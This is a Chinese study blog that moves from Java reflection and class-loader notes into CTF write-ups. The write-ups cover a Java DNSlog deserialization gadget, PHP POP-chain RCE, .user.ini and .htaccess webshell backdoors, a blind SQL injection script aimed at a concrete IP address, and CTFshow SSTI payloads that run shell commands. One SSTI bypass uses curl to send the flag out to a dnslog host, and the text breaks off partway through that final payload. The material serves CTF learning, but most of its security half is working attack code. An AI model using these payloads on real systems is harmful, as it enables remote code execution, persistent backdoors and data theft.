类的初始化（Initialize） JVM对类进行初始化，过程中执行类构造器的方法，此方法是编译期自动收集类中的变量赋值动作和静态代码合并而成的，且虚拟机会保证类构造器的方法会在多线程中被正确的加锁和同步。且在初始化过程中，如果发现类的父类还没有被初始化，则会优先初始化其父类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package reflection;


public class day4 {
    public static void main(String[] args) {
    A a=new A();
    System.out.println(a.q);}
}
class A{
    static int q=100;
    static{
        System.out.println("原来的q="+q);
        q=200;
        System.out.println("A类静态代码快构造成功"+q);
    }
    public A() {
        q=300;
        System.out.println("A的无参构造成功"+q);
    }
}
/*
原来的q=100
A类静态代码快构造成功200
A的无参构造成功300
300
*/

会发生类初始化的情况：（类Class的主动引用）

1.虚拟机启动，首先初始化main方法所在的类

2.new一个类对象的时候

3.调用类静态成员（非final）和静态方法

4.使用java.lang.reflect包的方法对类进行反射调用时

5.初始化一个类，如果其父类没有被初始化，则优先初始化其父类

不会发生类初始化（类的被动引用）

1.当访问哪一个静态域时，只有真正声明这个域的类才被初始化

2.通过数组定义类引用时

3.引用常量不会触发初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package reflection;

public class day5 {
    static{
        System.out.println("main被初始化");
    }
    public static void main(String[] args) throws ClassNotFoundException {
        //1.主动被初始化
        //new一个类
        //s a=new s();
        //输出：main被初始化
        //     f被初始化
        //     s被初始化

        //反射也会产生主动初始化
        //Class.forName("reflection.s");
        //main被初始化
        //f被初始化
        //s被初始化

        //子类引用父类的static变量
        //System.out.println(s.q);
        //main被初始化
        //f被初始化
        //100

        //通过数组定义类引用，不会触发类的初始化
        //s[] w=new s[10];
        //main被初始化

        //引用常量不会触发此类的初始化
        System.out.println(s.b);
        //main被初始化
        //100
    }

}
class f{
    static{
        System.out.println("f被初始化");
    }
    static int q=100;
}
class s extends f{
    static int a=100;
    static{
        System.out.println("s被初始化");
    }
    static final int b=100;
}
类加载器

作用将class文件字节码加载到内存，并将这些静态数据转换成方法区的运行时数据结构，然后再生成一个代表这个类的java.lang.class对象，作为方法区中类数据的访问入口

类缓存：标准的JavaSE类加载器可以按要求查找类，但是一旦某个类被加载到类加载器中，它将维持加载(缓存)一段时间，不过JVM垃圾回收机制可以回收这些class对象

三种类型的**类加载器**

引导类加载器：用c++编写的，是JVM自带的类加载器，负责Java平台核心库，用来装载核心类库。该类加载器无法直接获取

扩展类加载器：负责jre/lib/ext目录下的jar包或-D java.ext.dirs 指定目录下的jar包装入工作库

系统类加载器：负责java -classpath 或-D java.class.path所指的目录下的类与jar包装入工作，是最常用的加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package reflection;

public class day6 {
    public static void main(String[] args) throws Exception {
        //获取系统类的加载器
        ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
        System.out.println(systemClassLoader);//jdk.internal.loader.ClassLoaders$AppClassLoader@36baf30c

        //获取系统类加载器的父类加载--》扩展类加载器
        ClassLoader parent1=systemClassLoader.getParent();
        System.out.println(parent1);//jdk.internal.loader.ClassLoaders$PlatformClassLoader@723279cf

        //获取扩展类加载器的父类加载器--》根加载器(C/c++)
        ClassLoader parent2=parent1.getParent();
        System.out.println(parent2);//null

        //测试当前类是哪种加载器加载的
        ClassLoader qwe=Class.forName("reflection.day6").getClassLoader();
        System.out.println(qwe);//jdk.internal.loader.ClassLoaders$AppClassLoader@36baf30c

        //测试JDK内置的类是谁加载的
        ClassLoader qwe1=Class.forName("java.lang.Object").getClassLoader();
        System.out.println(qwe1);//null

        //获取系统类加载器可以加载的路径
        System.out.println(System.getProperty("java.class.path"));
        //D:\javadm\JavaSE\javajcyf\src\out\production\javajcyf
    }
}
获取类的运行时结构

通过反射获取运行时类的完整结构

Field Method Constructor Superclass Interface Annotation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package reflection;


import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

//获得类的信息
public class day7 {
    public static void main(String[] args) throws Exception {
        Class aa=Class.forName("reflection.test");

        //获得类的名字
        System.out.println(aa.getName()); //获得包名+类名
        System.out.println(aa.getSimpleName()); //获得类名

        //获得类的属性
        Field[] fields=aa.getFields();//只能获得public属性
        for(Field f:fields ){
            System.out.println(f);
        }

        fields=aa.getDeclaredFields(); //找到全部的属性
        for(Field f:fields ){
            System.out.println(f);
        }

        //获得指定属性的值
        Field name=aa.getDeclaredField("name");
        System.out.println(name);

        //获得类中的方法
        System.out.println("----------------------------");
        Method[] methods=aa.getMethods();  //获得本类及其父类的全部方法
        for(Method m:methods ){
            System.out.println("正常的:"+m);
        }
        methods=aa.getDeclaredMethods();  //获得本类的所有方法(包括私有方法)
        for(Method m:methods ){
            System.out.println("getDeclaredMethods:"+m);
        }

        //获得指定的方法
        //后面的参数类型可以用来判断  重载的方法
        System.out.println("----------------------------");
        Method getname=aa.getMethod("getName");
        Method setname=aa.getMethod("setName",String.class);
        System.out.println(getname);
        System.out.println(setname);

        //获得指定的构造器
        System.out.println("----------------------------");
        Constructor[] constructors=aa.getConstructors();//获得本类的方法
        for(Constructor c:constructors ){
            System.out.println(c);
        }
        constructors=aa.getDeclaredConstructors();//获得全部方法
        for(Constructor c:constructors ){
            System.out.println("##"+c);
        }
        //获得指定的构造器
        Constructor constructor=aa.getConstructor(String.class);
        System.out.println(constructor);
    }
}

有了Class对象，能做什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package reflection;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

//动态的创建对象，通过反射
public class day8 {
    public static void main(String[] args) throws Exception {
        //获得Class对象
        Class c1=Class.forName("reflection.test");

        //创造一个对象
        test a=(test)c1.newInstance(); //可以创造对象，本质上调用了无参构造器  如果没有就会报错
        System.out.println(a);//test{name='null', age=0, id=0}

        //通过构造器创建对象
        Constructor c2=c1.getDeclaredConstructor(String.class,int.class);//括号里面为其构造器的参数
        Object c3=c2.newInstance("qqqqqq",10);  //和上面的用法相同
        System.out.println(c3);//test{name='qqqqqq', age=10, id=0}

        //通过反射调用普通方法
        test a1=(test)c1.newInstance();
        Method m1=c1.getDeclaredMethod("setName",String.class);  //获得一种方法
        m1.invoke(a1,"qwertyui");
        System.out.println(a1.getName());//无参方法可以直接调用   输出qwertyui

        //通过反射来操作属性
        test a2=(test)c1.newInstance();
        Field f1=c1.getDeclaredField("age");
        //不可以直接操作私有属性，需要我们关闭程序的安全检测,不然会报错
        f1.set(a2,10);
        System.out.println(a2.getAge());

        Field f2=c1.getDeclaredField("name");
        f2.setAccessible(true);  //通过方法属性或者方法的setAccessible(true)
        f2.set(a2,"qqqqqqqqq");
        System.out.println(a2.getName()); //输出  qqqqqqqqq
    }
}

反射操作泛型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package reflection;

import java.lang.reflect.Method;
import java.lang.reflect.Type;
import java.util.List;
import java.util.Map;

//通过反射来获取泛型
public class day9 {
    public void test1(Map<String,test>map, List<String> list){//定义两个泛型参数
        System.out.println("test1");
    }
    public Map<String,test> test2(){
        System.out.println("test2");
        return null;
    }

    public static void main(String[] args) throws Exception {
        Method a1=day9.class.getMethod("test1",Map.class,List.class);
        Type[] generic=a1.getGenericParameterTypes();
        for(Type t:generic){
            System.out.println(t);
        }

    }
}

反射获取注解信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package reflection;

import java.lang.annotation.*;
import java.lang.reflect.Field;

public class day10 {
    public static void main(String[] args) throws Exception {
        Class q=Class.forName("reflection.students");

        //通过反射来获取注解
        Annotation[] annotations=q.getAnnotations();
        for (Annotation annotation : annotations) {
            System.out.println(annotation);//@reflection.Tablekuang(name="qwerty")
        }

        //获得类指定的注解
        Field qq=q.getDeclaredField("name");
        Annotation w=qq.getAnnotation(Fieldkuang.class);
        System.out.println(w);//@reflection.Fieldkuang(age=12, name="string", id=10)
    }
}
@Tablekuang(name="qwerty")
class students {
    @Fieldkuang(age=12,name="int",id=10)
    private int age;
    @Fieldkuang(age=12,name="string",id=10)
    private String name;
    @Fieldkuang(age=12,name="int",id=10)
    private int id;

    public void setName(String name) {
        this.name = name;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setId(int id) {
        this.id = id;
    }

    public int getAge() {
        return age;
    }
    public String getName() {
        return name;
    }
    public int getId() {
        return id;
    }
}
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@interface Tablekuang{
    String name();
}
@Target(ElementType.FIELD)
@Retention(RetentionPolicy.RUNTIME)
@interface Fieldkuang{
    String name();
    int age();
    int id();
}

DNSlog链的复现

dnslog链一般用来测试是否存在序列化漏洞，它最终在序列化时会发送一条dns请求，它对环境很友好，限制较少，所以一般可以通过dnslog链来判断是否存在序列化漏洞

这里介绍一个工具，可以直接生成序列化后的文件，来触发漏洞

deswing 这个工具对ysoserial进行了集成，使得页面可视化，将常见的利用链进行了封装

下载的地址：https://github.com/0ofo/Deswing

使用方法，可以直接点击jar包选择具体的链来进行导出即可

DNSlog的利用流程为：

1
2
3
4
5
6
/*
*HashMap.readObject()  //通过反序列化自动调用
 *HashMap.putVal()  
  *HashMap.hash()  //这里可以调用到key.hashCode()函数
   *URL.hashCode()  //这里可以发送一条dns请求
*/

URL类中的hashCode中有一个代码：

1
2
3
4
5
6
7
public synchronized int hashCode() {
    if (hashCode != -1)  //如果不为-1直接返回
        return hashCode;

    hashCode = handler.hashCode(this);//否则调用函数重写计算了hashCode
    return hashCode;
}

跟进hashCode函数

1
InetAddress addr = getHostAddress(u);

这里获取了主机地址，从而发送dns请求，同时URL类是继承了serilized接口，所以，它可以被利用，就开始回推，看哪里可能可以调用URL.hashCode

然后就找到了HashMap类

1
2
3
4
static final int hash(Object key) {
    int h; //这里可以调用键的hashCode函数，如果key为URL类的话就可以调用hashCode函数
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

现在就可以去寻找看HashMap中的hash函数在哪里被调用了

这里就发现了在HashMap重写了readObject，并且在readObject中就有关键一步

1
2
3
4
5
6
7
for (int i = 0; i < mappings; i++) {
    @SuppressWarnings("unchecked")
        K key = (K) s.readObject();//这里将反序列化的键读取
    @SuppressWarnings("unchecked")
        V value = (V) s.readObject();//这里将反序列化的值读取
    putVal(hash(key), key, value, false, false);//这里就调用了hash函数
}

所以在HashMap函数中如果我们将URL类当做一个键传入时，可以做到触发dns请求，但是要注意在序列化之前确保传入的URL的hashcode的值为-1，不然就无法触发hashCode函数，这里就可以通过反射来进行获取，并修改

可能会导致失败的原因就是当java的版本太高可能将无法通过反射来获取和修改私有的属性导致其修改失败，建议在java9之下来做这个实验

具体的操作就是：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;

public class serialize {//实现序列化的函数
    public static void serialized(Object oss)throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(oss);
    }
    public static Object unserialized(String filename)throws Exception{//实现反序列化的函数
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }

    public static void main(String[] args) throws Exception {
        URL url = new URL("http://fexmpmw0vs3v4tofkt86osxh98f43vrk.oastify.com");
        Field hashCode = URL.class.getDeclaredField("hashCode");//通过反射获得hashCode属性
        hashCode.setAccessible(true);
        hashCode.setInt(url, 100);
        HashMap<URL,Object> map=new HashMap<>();
        map.put(url,null);
        hashCode.setInt(url, -1);
        serialized(map);
        unserialized("ser.bin");
    }
}

Posted on Edited on

石能为鼓

知识点：php反序列化

首先通过查看源代码发现source.php文件

访问得题目的源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
show_source(__FILE__);
class ping {  
protected $xiang;  
function __construct() {
	$this->xiang = new fun(); 
    }  
function __destruct() {
    $this->xiang->cp();  
    }
}
class fun {  
function cp() {    
    echo "hello";  
    }
}
class cup {  
    private $data;  
    function cp() {    
       eval($this->data);  
       }
}
unserialize($_GET['d']);

就是一个简单的序列化题，只不过在反序列化中有一个特性，将原来属性的修饰符修改是不会影响反序列化的结果，所以在构造pop链的时候可以将原来的属性修饰符进行修改，便于赋值与序列化

最终的pop链为：

<?php

class ping{

public $xiang;

}

class cup{

public $data=”system(‘cat /*’);”;

}

$a=new ping();

$a->xiang=new cup();

echo serialize($a);

//输出：O:4:”ping”:1:{s:5:”xiang”;O:3:”cup”:1:{s:4:”data”;s:17:”system(‘cat /*’);”;}}

得flag

龙池古庙

知识点：文件上传(.user.ini文件)

该题目有提示信息，通过上传.user.ini文件

简单描述一下.user.ini文件的应用，.user.ini和.htaccess一样是目录的配置文件，.user.ini就是用户自定义的一个php.ini，我们可以利用这个文件来构造后门和隐藏后门

常见的用法就是通过上传一个.user.ini文件在通过一个php文件来配合使用构成一个后门

.user.ini文件的内容入下：

auto_prepend_file=.user.ini

#<?php @eval($_POST[‘a’]);?>

这个的作用相当于一个文件包含，将.user.ini的文件包含该目录下所有php文件

这里的题目需要前端绕过，最后的结果:

再通过访问该目录下的index.php，通过蚁剑连接寻找flag即可

真君擒龙

知识点：rce

先通过查看源码，发现了一个source.php文件，访问得源码：

1
2
3
4
5
6
7
8
<?php
show_source(__FILE__);
$cmd=$_GET['cmd'];
if(isset($cmd)&&strlen($cmd)<6&&!strpos(strtolower($cmd), 'nl')){  
   system($cmd);
}else{ 
   die("no!no!no!");
}

这是一个限制长度的rce,并且将nl过滤了，但是又一个命令也是同样的简短od命令,以二进制形式读取文件，通过控制它的参数来控制返回文件是以几进制的形式，默认为八进制

具体为od /* 读取的内容为：

0000000 066146 063541 033573 061464 033465 031142 026546 034541 0000020 032070 032055 032063 026470 061141 031143 063055 030461 0000040 061460 032145 032542 061143 076462 000012 0000053

其中又七位或者六位的数，七位的数为偏移量，在具体解码的时候可以不用管，许多的网上的八进制解码都有问题，可以通过下面的python脚本来实现解码：

1
print(b''.join(int(ss, 8).to_bytes(2, 'little') for ss in s.split()))

s为去除偏移量的八进制数

禅蕴杨岐

知识点：sql注入，布尔盲注

开局只有一个输入框，进行万能密码测试没有用

1’or 1=1#

‘^0#

开始进行扫描，得到.index.php.swp文件，打开后的源码：

<?php
function contain($str, $a){
$strpos_res = strpos($str, $a);
if ($strpos_res){
return true;
}
return false;
}

function lvlarrep($str, $v1){
$s = str_ireplace($v1, ‘’, $str);
if (contain($s, $v1)){
$s = lvlarrep($s, $v1);
}
return $s;
}

function waf($str){
$ban_str = explode(‘,’,’select,ascii,sub,con,alter table,delete ,drop ,update ,insert into,load_file,/,/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20’);
foreach($ban_str as $v1){
if (contain($str, $v1)){
$s = lvlarrep($str, $v1);
$str = $s;
}
}
$str = str_replace(‘\’’, ‘'’, $str); // 万恶的单引号，必须转义
return $str;
}

if (isset($_POST[‘login’])){
$db_host = ‘127.0.0.1’;
$db_user = ‘root’;
$db_pass = ‘toor’;
$db_name = ‘ctf’;

$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
if (!$conn) {
die(‘数据库连接失败！’ . mysqli_connect_error());
}

$username = waf($_POST[‘username’]);
$password = waf($_POST[‘password’]);
$sql = “SELECT * FROM user WHERE username = ‘$username’ AND password = ‘$password’;”;

$query_result = mysqli_query($conn, $sql);
if (mysqli_num_rows($query_result) > 0) {
die(‘登陆成功！’);
}else{
die(‘哦欧！’);
}

}
?>

源码的主要信息就是通过将 ‘ 进行了过滤，以及将关键词替空，所以关键词可以通过复写的方式来绕过

对于单引号闭合的问题可以通过 \ 来进行转义，在与后面的 ‘ 来进行闭合

username =’$username’ AND password = ‘$password’;”;

上传username=1\&password=or 2>1#&login=1 放到源码中就可以实现这样的效果

让$username前面的单引号和$password前面的单引号进行闭合，再注释后面的单引号来实现注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time

url = "http://59.62.61.30:48708/"
result = ""
for i in range(1,100):
    l = 33
    r =130
    mid = (l + r) >> 1
    while(l<r):
       payload={
           "username":"1\\",
           #"password":'or 0^((selconect asconcii(suconbstring(group_counionncat(table_name),{0},1)) from information_schema.tables where table_schema=database())>{1})#'.format(i,mid),
          # "password": 'or 0^((selconect asconcii(suconbstring(group_counionncat(column_name),{0},1)) from information_schema.columns where table_name="user")>{1})#'.format(i, mid),
           "password": 'or 0^((selconect asconcii(suconbstring(group_counionncat(password),{0},1)) from user)>{1})#'.format(i, mid),
           "login":"1"
       }
       html = requests.post(url,data=payload)
       #print(payload)
       if '登陆成功' in html.text:
          l = mid+1
       else:
          r = mid
       mid = (l+r)>>1
    if(chr(mid)=="!"):
       result = result + chr(mid)
       break
    result = result + chr(mid)
    print(result)

最后通过二分法来获取flag

Posted on Edited on In

相关的文章为：https://blog.csdn.net/solitudi/article/details/116666720

.htaccess配置文件的基本信息

首先先了解一下有关.htaccess文件是什么，是一个配置文件，用于运行Apache网络服务器软件的网络服务器上，当.htaccess文件被放置在一个 “通过Apache Web服务器加载 “的目录中时，.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置，以启用/禁用Apache Web服务器软件所提供的额外功能和特性。 简单来说就是用来修改配置的

然后补充一点就是在.htaccess配置文件中单行注释符为 #

如果想要在服务器上可以运行.htaccess文件就需要先将主配置文件的AllowOverride 设置为 All

具体的运用

通过.htaccess文件来制定出错页面

1
2
3
4
ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php

在ctf比赛题目中就有应用：

1
2
3
<If "file('/flag') =~ '/flag{a/'">  //~ 类似为正则匹对
ErrorDocument 404 "y4tacker"
</If>

如果在/flag中有flag{a 就返回y4tacker，从而来枚举出flag,比较少用

SetHandler和ForceType

常见的应用场景 文件上传，这里要严格按照缩进，可能会出现错误：

1
2
3
4
5
6
7
8
9
10
<FilesMatch "aaa.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>
//指定将1.jpg通过PHP运行
//或者直接全局都直接使用PHP解析
SetHandler application/x-httpd-php

<Files ~ "\.jpg$">   //~先当于正则匹对 将所有匹对到.jpg结尾的都以PHP解析
ForceType application/x-httpd-php  
</Files>

AddHandler

作用就是将什么以什么方式解析，作用域是针对整个服务器或特定目录的，而不是针对单个文件的，所以不需要通过Files来进行规定

1
AddHandler php-script .jpg  //将jpg文件当作PHP脚本

AddType

是Apache服务器配置中的一个重要指令，它用于将特定的文件扩展名映射到指定的MIME类型

1
AddType application/x-httpd-php .html

这条指令告诉Apache服务器，当遇到.html扩展名的文件时，应该将它们视为application/x-httpd-php类型的文件，即PHP脚本文件，并由PHP解析器进行处理

php_value

当使用 PHP 作为 Apache 模块时，也可以用 Apache 的配置文件（例如 httpd.conf）和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以

php_value 设定指定的值。要清除先前设定的值，把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag

实际的应用中就有：

1
2
3
4
5
6
7
8
9
php_value auto_prepend_file 1.txt //在主文件解析之前自动解析包含1.txt的内容
php_value auto_append_file 2.txt //在主文件解析后自动解析1.txt的内容
//最好是这样，应用#号为注释符，但是PHP可以正常解析来上传一句话木马
php_value auto_prepend_file .htaccess #<?php @eval($_POST['a']);?>

//关于过滤file： 这样也是可以执行命令的
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();

还有一种用法，绕过preg_match匹对，将最大的次数改为0即可，就可以用最大回溯(pcre.backtrack_limit)/递归限制使php正则失效：

1
php_value pcre.backtrack_limit 1  //默认为100000

具体的例题

[羊城杯 2020]easyphp

源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
 $files = scandir('./');  
 foreach($files as $file) {   //遍历目录，将不是index.php的文件都删除
     if(is_file($file)){ 
         if ($file !== "index.php") { 
             unlink($file);  
         } 
     } 
 } 
 if(!isset($_GET['content']) || !isset($_GET['filename'])) { //通过get来提交文件名和内容
     highlight_file(__FILE__); 
     die(); 
 } 
 $content = $_GET['content'];  //在文件内容里面过滤关键字
 if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { 
     echo "Hacker"; 
     die(); 
 } 
 $filename = $_GET['filename'];   //
 if(preg_match("/[^a-z\.]/", $filename) == 1) { //检查文件名是否都由字母和点组成
     echo "Hacker"; 
     die(); 
 } 
 $files = scandir('./');  //再删除一次
 foreach($files as $file) { 
     if(is_file($file)){ 
         if ($file !== "index.php") { 
             unlink($file); 
         } 
     } 
 } 
 file_put_contents($filename, $content . "\nHello, world");  //在后面拼接一段字符串
?>

看逻辑应该是在删除后再创建的文件，但是上传一个普通的php文件，发现上传什么都没有用，无论怎么上传，页面都只是显示Hello, world

这里就可以通过上传.htaccess来修改配置

php_value auto_prepend_file .htaccess

<?php system(‘cat /f*’);?>

但是需要有些修改，还有要将后面的\nHello, world继续拼接否则回报错

这里过滤了file 可以通过变为

php_value auto_prepend_fil\
e .htaccess

<?php system(‘cat /f*’);?>\

最后再通过url编码上传即可

最后payload为：

1
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/f*')%3B%3F%3E%5C

Posted on Edited on In

CTFshow-web361~371

web361

知识点：ssti

基本的常用语句有

1
2
3
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('cat flag').read()}}

通过内置的函数来获取shell

注入点为GET提交的name参数，及payload为：

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat /*').read()}}

web362

知识点：ssti

这个题也可以通过第一题的方法来获取flag

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat /*').read()}}

web363

知识点：引号过滤以及POST提交过滤

过滤引号可以通过request请求来进行绕过

常见的几种形式和用法：

1
2
3
4
5
6
7
{{request.args.ben}} #可以用来获取get请求传参，参数为ben
{{request.form.ben}}  #可以来获取poet请求传参ben（Content-Type:application/x-www-from-urlencoded或multipart/from-data）
{{request.cookie.ben}} #可以来获取cookie中关键词为ben的参数
{{request.values.x1}} #获取所有参数
{{request.headers}}  #获得请求头请求参数
{{request.data}}  #post传入参数(Content-Type:a/b)
{{request.json}}  #获得post传入json参数(Content-Type:application/json)

当然我个人认为request.values.x1最好用，可以获取全局参数

将过滤的部分直接通过替换即可

1
{{config.__class__.__init__.__globals__[request.args.ben].popen(request.args.ben1).read()}}&ben=os&ben1=cat /*

web364

知识点：引号过滤，args过滤，post提交过滤

这个题可能是想通过cookie来实现，但是麻烦，还是通过request.values.x1好点，因为简单

payload为：

1
?name={{url_for.__globals__.os.popen(request.values.q).read()}}&q=cat /*

web365

知识点：中括号过滤，引号过滤，args过滤，post提交过滤

绕过[]的方法，可以通过getitem()魔术方法来实现，用法也简单，可以直接平替

例如：

subclasses()[117] —> subclasses().getitem(117)

尽量选用简单的语句，就是少中括号的来实现

1
2
{{config.__class__.__init__.__globals__.__getitem__(request.values.q).popen(request.values.a).read()}}&a=cat /*&q=os
{{url_for.__globals__.os.popen(request.values.q).read()}}&q=cat /*

web366

知识点：下划线绕过，中括号过滤，引号过滤，args过滤，post提交过滤

下划线绕过可以通过管道符和attr和request请求来进行绕过

如：

lipsum.globals—>lipsum|attr(request.values.globals)

所以就可以构造payload为：

1
{{(lipsum|attr(request.values.q)).os.popen(request.values.q2).read()}}&q=__globals__&q2=cat /*

web367

知识点：os关键词过滤，下划线绕过，中括号过滤，引号过滤，args过滤，post提交过滤

这里有些不同

1
2
3
{{lipsum.__globals.os}}
{{lipsum|attr(request.values.q)|attr(request.values.o)}}&q=__globals__&o=os  //这个不会执行
{{(lipsum|attr(request.values.q)).get(request.values.o)}}&q=__globals__&o=os  //这个会执行

所以需要留意一下

所以payload为：(二选一即可)

1
2
{{(lipsum|attr(request.values.q)).get(request.values.o).popen(request.values.q2).read()}}&q=__globals__&q2=cat /*&o=os
{{(config|attr(request.values.class)|attr(request.values.init)|attr(request.values.globals)|attr(request.values.getitem)(request.values.o)).popen(request.values.rce).read()}}&class=__class__&init=__init__&globals=__globals__&getitem=__getitem__&o=os&rce=cat /*

web368

知识点：双括号过滤，os关键词过滤，下划线绕过，中括号过滤，引号过滤，args过滤，post提交过滤

绕过双括号，可以通过{%print()%}即可

payload为:

1
{%print (lipsum|attr(request.values.q)).get(request.values.o).popen(request.values.q2).read()%}&q=__globals__&q2=cat /*&o=os

web369

知识点：request过滤，双括号过滤，os关键词过滤，下划线绕过，中括号过滤，引号过滤，args过滤，post提交过滤

无法通过提交参数来进行绕过，需要通过join来进行拼接字符

获取字符的方法，通过config|string|list 和 lipsum|string|list来获得

具体的构造的payload： （注意将注释的删除）

1
2
3
4
5
6
7
8
9
10
11
12
13
{%set e=(config|string|list).pop(279)%} //  /
//{%set a=(config|string|list).pop(191)%} //  '
{%set c=(lipsum|string|list).pop(18)%}  // _
{%set kg=(lipsum|string|list).pop(9)%}  // 空格
//{% set qwe=dict(l=0,s=1)|join%}  //ls
{%set globals=(c,c,dict(globals=1)|join,c,c)|join %}  //__globals__
{%set s=dict(o=0,s=1)|join%}   //os
{%set geti=(c,c,dict(getitem=1)|join,c,c)|join %}  //__getiyem__
//{% set popen=dict(popen=1)|join%}  //popen
//{% set read=dict(read=1)|join%}  //read
{% set flag=(((dict(tac=1)|join,kg)|join,e)|join,dict(flag=1)|join)|join %}
//{%print lipsum|attr(globals)|attr(geti)(s)|attr(popen)(flag)|attr(read)() %}
{%print (lipsum|attr(globals)|attr(geti)(s)).popen(flag).read() %}

web370

知识点：数字过滤，request过滤，双括号过滤，os关键词过滤，下划线绕过，中括号过滤，引号过滤，args过滤，post提交过滤

获取数字可以通过count来实现，如nine=dict(aaaaaaaaa=a)|join|count

再将数字替代即可

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{% set ste=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set ten=ste*nine %}
{% set r=dict(aa=a)|join|count*nine%}
{%set e=(config|string|list).pop(ten)%}
{%set c=(lipsum|string|list).pop(r)%}
{%set kg=(lipsum|string|list).pop(nine)%}
{% set qwe=dict(l=a,s=b)|join%}
{%set globals=(c,c,dict(globals=a)|join,c,c)|join %}
{%set s=dict(o=a,s=b)|join%}
{%set geti=(c,c,dict(getitem=a)|join,c,c)|join %}
{% set popen=dict(popen=a)|join%}
{% set read=dict(read=a)|join%}
{% set flag=(((dict(tac=a)|join,kg)|join,e)|join,dict(flag=a)|join)|join %}
{%print lipsum|attr(globals)|attr(geti)(s)|attr(popen)(flag)|attr(read)() %}

371

知识点：过滤print，数字过滤，request过滤，双括号过滤，os关键词过滤，下划线绕过，中括号过滤，引号过滤，args过滤，post提交过滤

绕过print需要通过dnslog带出

URL

http://www.dnslog.cn/

在该网站来申请免费的dnslog

再通过 执行curl cat /flag.7ytmqy.dnslog.cn

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set ba=dict(aaaaaaaa=a)|join|count%}
{% set ste=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
